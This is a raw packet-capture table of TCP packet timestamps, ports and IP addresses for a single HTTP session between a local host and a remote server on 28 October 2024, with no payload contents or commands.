Oct 28, 2024 08:18:20.769010067 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769022942 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769028902 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769036055 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769040108 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769048929 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769061089 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769074917 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769081116 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769087076 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769108057 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769112110 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769120932 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769125938 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769134998 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769146919 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769155025 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769161940 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769175053 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769186974 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769205093 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769205093 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769217014 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769222975 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769229889 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769237041 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769243002 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769256115 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769268990 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769268990 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769285917 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769298077 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769304991 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769311905 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769324064 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769330025 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769337893 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769344091 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769350052 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769361973 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769375086 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769382954 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769386053 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769397974 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769411087 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769417048 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769428968 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769445896 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769445896 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769447088 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769464016 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769474983 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769479990 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769485950 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769496918 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769509077 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769516945 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769527912 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769539118 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769546032 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769551992 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769563913 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769570112 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769577026 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769587994 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769598007 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769599915 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769612074 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769623995 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769629002 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769634962 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769648075 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769656897 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769656897 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769659996 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769673109 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769690990 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769691944 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769704103 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769711971 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769716978 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769728899 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769741058 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769747972 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769753933 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769766092 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769773006 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769777060 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769790888 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769803047 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769808054 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769815922 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769821882 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769828081 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769834042 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.769841909 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769854069 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.769872904 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.770030022 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.795542002 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.796586990 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.801461935 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.801558971 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.801597118 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.801651955 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.801686049 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.801723003 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.801739931 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.801774979 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.801808119 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.801810980 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.801846027 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.801886082 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.801934958 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.801964998 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.801970005 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802004099 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802040100 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802093029 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802124977 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.802129030 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802164078 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802177906 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.802216053 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802267075 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802315950 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802350998 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802381039 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.802385092 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802438021 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802472115 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802474022 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.802505970 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802536964 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.802540064 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802589893 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802619934 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.802630901 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802680969 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802736044 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802769899 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802798986 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.802807093 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802850008 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802877903 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.802882910 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802917004 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802949905 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.802952051 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.802983046 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803013086 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.803016901 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803071022 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803106070 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.803121090 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803155899 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803206921 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803242922 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803255081 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.803311110 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803390026 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803441048 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803471088 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.803476095 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803509951 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803538084 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.803544044 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803580046 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803607941 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.803630114 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803664923 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803694963 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.803699017 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803733110 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803783894 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803785086 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.803785086 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.803817987 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803868055 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803917885 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803952932 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.803982019 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.803987026 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804023027 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804052114 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.804064035 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804115057 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804147959 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804177046 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.804200888 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804230928 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.804250956 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804286003 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804313898 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.804335117 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804387093 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804414988 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.804420948 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804454088 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804478884 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.804487944 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804538012 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804563999 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.804572105 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804605961 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804635048 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.804641008 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804689884 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804727077 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804759979 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804788113 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.804794073 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804842949 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804871082 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.804893017 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804938078 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.804941893 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.804977894 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805010080 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805042982 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805107117 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.805107117 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.805107117 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805160046 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805196047 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805229902 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805263996 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805293083 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.805314064 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805347919 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805376053 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.805382967 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805421114 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805449009 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.805470943 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805521965 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805552959 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.805556059 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805588961 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805617094 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.805622101 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805672884 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805706978 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805737972 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.805742025 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805775881 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805805922 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.805826902 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805862904 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805891991 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.805900097 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805933952 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805963993 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.805969000 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.805996895 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.806020021 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806052923 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806087017 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806113005 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.806138039 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806174040 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806201935 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.806206942 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806241035 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806267023 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.806273937 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806319952 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806350946 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.806355953 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806406975 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806437016 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.806443930 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806478977 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806507111 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.806513071 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806550026 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806582928 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.806583881 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806617975 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806643963 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.806652069 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806727886 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.806741953 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806777954 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806804895 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.806812048 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806845903 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806874037 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.806879997 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806914091 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806941032 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.806950092 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.806983948 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807008982 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.807018042 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807050943 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807075977 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.807085037 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807120085 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807132006 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.807156086 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807189941 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807224035 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807256937 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807284117 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.807291031 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807346106 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807370901 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.807379007 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807414055 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807436943 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.807446957 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807480097 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807503939 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.807512999 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807548046 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807573080 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.807581902 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807615995 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807640076 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.807648897 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807682037 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807706118 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.807717085 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807750940 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807775021 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.807784081 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807817936 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807842016 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.807851076 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807887077 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807912111 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.807919025 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807951927 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.807975054 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.807985067 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808020115 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808046103 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.808053017 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.808087111 CET	80	49764	185.215.113.16	192.168.2.5
